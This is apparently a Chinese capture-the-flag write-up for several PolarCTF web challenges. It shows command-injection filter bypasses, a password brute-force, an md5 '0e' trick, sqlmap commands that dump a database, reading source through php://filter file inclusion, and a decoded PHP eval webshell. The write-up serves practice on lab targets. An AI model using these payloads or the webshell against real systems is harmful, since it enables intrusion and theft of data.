xCsMsD
首先注册,注册后登录,显示一个xss窗口和一个cmd窗口,可以输入xss代码和命令执行指令
首先命令执行ls发现能够正确显示当前目录文件
然后尝试ls /发现没有回显,这时应该猜测是有过滤,我们要想能够利用xss做些什么,这里可以弹一个cookie出来
url解码后发现把空格替换成了-,把/替换成了\。
然后正常执行命令即可,后面有一个地方是cat被过滤要用tac绕过
小白说收集很重要
打开环境是一个登录页面
既然是信息收集那么就直接dirsearch扫一下
发现好几个文件,尝试直接访问flag.php,不出意外肯定是打不开的,我们尝试访问/login.php,发现被forbidden了打不开,再看/upload_file.php,没啥用,再看最后一个/users.json,发现是一堆用户名密码,随便用一个登录
这里说要根据搜集到的线索在下方生成字典,左边又有一个社工密码生成,这里就用社工密码生成来生成管理员密码字典
生成了一堆密码,我们复制单项信息密码尝试爆破
抓包爆破
成功找到管理员的用户名和密码,我们直接登录
拿到flag
来个弹窗
打开环境,让我们输入xss命令,我们随便输入一个
alert(1)
发现回显xss攻击成功,随后跳转到一个图片页面,上面提示flag内容是人物名字的md5编码
我们直接求助万能的二次元同学
拿到flag
0e事件
提示传参,根据题目名字应该是传入一个md5值为0e开头的字符串,我们直接传入240610708拿到flag
background
打开环境,页面正中央有一个background按钮,点击后页面没有反应,首先猜测是被js禁了,关闭js后发现点击依旧没有反应,于是f12观察点击按钮后有没有什么变化
发现经过了一个script.js,我们尝试访问
有乱码,直接抓包查看
document.getElementById("change-bg-btn").onclick = function() {
fetch("change_background.php", {
method: "POST",
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({
d: "echo",
p: "I will do it!"
})
})
.then(response => response.text())
.then(text => {
const lines = text.split('\n');
const background = lines[0]; // 第一行是背景图路径
const message = lines.slice(1).join('\n'); // 其余是输出信息
document.body.style.backgroundImage = `url(${background})`;
document.getElementById("result").innerText = message;
fetch是一个用于发送网络请求的功能,它返回一个Promise,表示请求的结果,method是请求方式,body是要发送到服务器的数据,
new URLSearchParams创建一个新的 URLSearchParams 对象,允许你以表单的格式编码数据。大括号内的就是表单内容,d是echo,p是I will do it!,看起来就像是一个命令执行,我们尝试修改d和p的值来进行命令执行,post方式在change_background.php路由下传入b和p的值
成功执行,cat拿到flag
bllbl_rce
打开环境,是一个输入框,提示是执行命令的地方,尝试ls /发现回显no,猜测是被过滤了,我们dirsearch扫一下
访问这个路由
源码泄露
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Command Query Tool</title>
</head>
<body>
<h1>Command Query Tool</h1>
<form action="index.php" method="post">
<label for="command">输入你的命令</label>
<input type="text" id="command" name="command" required>
<button type="submit">执行</button>
</form>
<?php
if (isset($_POST['command'])) {
$command = $_POST['command'];
if (strpos($command, 'bllbl') === false) {
die("no");
}
echo "<pre>";
system ($command);
echo "</pre>";
}
?>
</body>
</html>
代码审计发现提交的命令中必须含有bllbl才能执行,我们利用管道拼接符|来绕过
bllbl|tac /flag
拿到flag
coke的登录
打开环境,页面如下
我们点击提示
看起来像是cookie里面有东西,我们f12查看
看到my_cookie的值是coke-lishuai,猜测用户名和密码跟这个有关
首先尝试用户名coke密码lishuai,发现登陆失败,又试了好几个没成功,于是我就产生怀疑是不是还跟别的有关系,卡了半天也没做出来,但是当时打的时候这个题做出来的人最多,我解不出来太郁闷了
结束之后查看wp才知道用户名是coke密码是coke-lishuai,无话可说了
输入用户名密码登陆成功直接拿到flag
再给我30元
打开环境,页面提示猜猜你能注入到哪里,查看源代码发现注释
根据提示应该注入点是id,我们尝试传入id=1
回显出了id和username,猜测是sql注入,sqlmap扫一下
布尔盲注,直接sqlmap出了
爆库
sqlmap -u "http://38c1d648-ddfa-40e5-a787-5e66feb95bab.www.polarctf.com:8090/?id=1" -current-db
爆表
sqlmap -u "http://38c1d648-ddfa-40e5-a787-5e66feb95bab.www.polarctf.com:8090/?id=1" -D 'WelcomeSQL' --tables
爆字段
sqlmap -u "http://38c1d648-ddfa-40e5-a787-5e66feb95bab.www.polarctf.com:8090/?id=1" -D 'WelcomeSQL' -T 'user_info' --columns
爆字段内容
sqlmap -u "http://38c1d648-ddfa-40e5-a787-5e66feb95bab.www.polarctf.com:8090/?id=1" -D 'WelcomeSQL' -T 'user_info' --dump
狗黑子的ctf变强之路
打开环境,页面是ctf变强之路,有三个按钮,随便点一个发现url后面拼上了/index.php?page=miji.php,修改page的值为flag.php无回显,修改为1回显只允许包含php文件,猜测是文件包含漏洞并且只能包含php文件,我们dirsearch扫一下
扫出来一个admin.php,我们尝试直接访问,页面空白,我们利用php伪协议读取
?page=php://filter/read=convert.base64-encode/resource=admin.php,解base64后得到一段源码
我们看到有一个houhhhh.php,再次伪协议读取,解base64得到另一段源码
看到有gougougou.php,再次伪协议读取
这里如果扔给ai的话,他会给出解base64拼接后解混淆base64直接出gou7的结果,因为正常解base64的话gou7是乱码,这里的问题应该是gou1中的\v可能被认为是一个字符,因为\是转义符,所以把\换成其他可识别字符再解,得到gou7的真实值
<?php eval($_POST['cmd']);
然后我们包含gougougou.php就可以任意命令执行了